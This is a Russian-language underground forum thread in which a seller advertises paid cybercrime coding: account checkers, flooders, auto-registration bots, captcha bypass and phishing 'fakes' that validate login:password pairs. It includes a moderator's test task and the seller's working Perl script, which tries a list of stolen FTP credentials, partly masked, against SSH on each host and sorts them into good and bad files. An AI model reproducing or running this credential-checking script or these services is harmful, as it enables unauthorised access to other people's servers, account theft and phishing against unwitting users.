Услуги кодинга, скрипты, автоматизация

[onetwo]

Предлагаем услуги качественного кодинга:

Автоматизация:
Любые грабберы, парсеры, флудеры, чекеры, вбивальщики под любые сервисы.
Любая автоматизация действий на веб сайтах, включая AJAX и д.р.
По желанию заказчика: работа с antigate и любыми другими капча обработчиками, работа через http/socks5 прокси.

Боты:
Написание хттп-ботов для вебчатов, с любыми функциями, начиная от граббинга, заканчивая массовым флудом с регулируемой частотой.
Написание хттп-автореггеров по любым параметрам, для любых сервисов.

Фейки:
Изготовление качественных хттп-фейков с акк:пасс валидацией.

Установка нашего софта заказчику.

Языки исполнения:
perl/ruby, зависит от задачи.

Оплата:
Обсуждается с каждым заказчиком индивидуально, цена в том числе зависит от срочности заказа.
Пример: простейший граббер с исполнением за день - $25.
Принимаем только WMZ, предоплата 50% цены, возможна работа через гаранта.
При изменении заказа в процессе исполнения - выдача софта только по выплате цены изменений.

Контакты:
icq: 1454444

 

[Ar3s]

[mod][Ar3s:] Проверка пройдена.
Выдано сл. задание:

имеем список ftp вида:
ftp://zhv:suxxxe@ftp.vsi.vidxxxon.com
zilicaa:xxxx506@silkxxts.org.uk
ftp://xxxxom:iDxxxxxxq@zixxxx.com.ua
ftp://zidek.epxxxxxxxxel.:fg72rh@ftp.vxx.cz
xxxxcaa:zxxxx@ftp.sxxxxxs.org.uk

нужно отчекать на доступ к ssh
т.е. пройтись по списку и проверить не подойдут ли данные записи и для ssh доступа.
Однопоток, перл, запуск руками, результаты в txt (bad.txt, good.txt), данные оперативные в консоль. Платформа - linux debian 32 bit

В течении суток был написал сл. скрипт:

sub logA {
    my $file = $_[0];
    my $text = $_[1];

    # open&close just for case of interrupt or something like that
    open( my $outF, ">>$file.txt" ) or die "Error while opening file $file: $!";
    print $outF $text."\n";
    close $outF
}

my $in = shift @ARGV || die "Usage: $0 <input file>\n";

open( IN, "<$in" ) or die "Error while opening file $in: $!";
my @accs = <IN>;
close IN;

my $bad = 0;
my @goods;

print "[*] Loaded " . scalar @accs . " accounts\n";

foreach my $acc (@accs) {
    $acc =~ s!\n|\r!!m;
    $acc =~ s!ftp://!!;
    # according to rfc1738 password\username can't contain ':', '@' etc
    ( warn "Warning: incorrect line $acc" and next ) unless $acc =~ /^([^:]+):([^@]+)@([\d\w.-]+)(:[\d]{1,5}){0,1}$/i;
    my ( $user, $password, $host ) = ( $1, $2, $3 );
    my $ssh;

    eval {
            $ssh = Net::SSH::Perl->new( $host )
         } or do {
            print "  [bad] $acc\n";
            logA( 'bad', $acc );
            $bad++; next;
         };

    eval { 
            $ssh->login( $user, $password ) 
         } or do {
            print "  [bad] $acc\n";
            logA( 'bad', $acc );
            $bad++; next;
         };

    push @goods, $acc;
    logA( 'good', $acc );
    print "  [good] $acc\n";
}

print "[*] Finished\n";
print "[*] Stats:\n";
print "    Total good accs: " . scalar @goods . "\n";
print "    Total bad accs: $bad\n";

[/mod]

 

[onetwo]

работаем.

 

[Maximus]

ты бы в асе отвечал что ли

 

[onetwo]

Maximus
Вы мне пишете со своим заданием уже раз третий, и я раз третий отвечаю, я НЕ занимаюсь php, потом вы пропадаете, и опять пишете заказ. я стараюсь не отвечать на запросы людей, которые не читают объявление. если нужны кастомные скрипты с нуля под точно определенную задачу - обращайся.